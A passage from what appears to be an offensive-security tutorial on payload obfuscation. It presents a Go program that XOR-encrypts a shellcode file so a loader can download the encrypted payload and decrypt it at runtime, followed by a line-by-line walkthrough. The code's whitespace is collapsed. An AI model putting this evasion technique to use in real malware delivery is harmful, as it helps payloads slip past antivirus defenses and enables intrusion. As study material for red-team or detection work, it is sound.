Another technique frequently used is to download an encrypted payload and decrypt it at runtime. There are various of ways of encrypting a payload. Some examples below:
Although these are probably better at encrypting our payload I found XOR encryption to be sufficient most times. Let's write a quick encryption code that takes our shellcode file as an argument and writes a copy of the encrypted file.
Encryption
main.go
packagemainimport ("fmt""log""os")funcmain() { key :=byte(0x9A)iflen(os.Args) <2 { fmt.Println("Usage: encrypt <path>") os.Exit(1) }// Get the path from the command line argument path := os.Args[1] _, err := os.Stat(path)if err !=nil { log.Fatalf("[FATAL] File %s doesn't exist", path) } fmt.Println("[+] Reading bytes of shellcode")// Read the entire file into a byte slice fileData, err := os.ReadFile(path)if err !=nil { log.Fatalf("[FATAL] Error reading file:", err) }// Encrypt data and add to encryptedData encryptedData :=make([]byte, len(fileData)) fmt.Println("[+] Encrypting bytes of shellcode")for i :=0; i <len(encryptedData); i++ { encryptedData[i] = fileData[i] ^ key } fmt.Printf("[+] Writing encoded bytes at %s", path+"_ENC")// Write encryptedData to file os.WriteFile(path+"_ENC", encryptedData, 0644)}
Lines 10 - 23: Check if the argument was passed to our program and if the file actually exists. If not the program terminates.
Lines 24-30: Reads the contents of the file in the 'fileData' byte slice
Lines 31-36: Creates a new byte slice called encryptedData, then loops through the contents of fileData and XORs them with the key provided on line 10 and adds the data in encryptedData.
Lines 37-39: Writes the contents of the encrytedData and outputs the file at the same directory with "_ENC" appended at the end of the filename
Decrypt
The same code can be reused in our shellcode injection code to decrypt the payload.